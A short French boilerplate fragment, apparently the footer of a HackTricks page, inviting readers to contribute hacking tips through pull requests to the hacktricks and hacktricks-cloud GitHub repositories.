* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|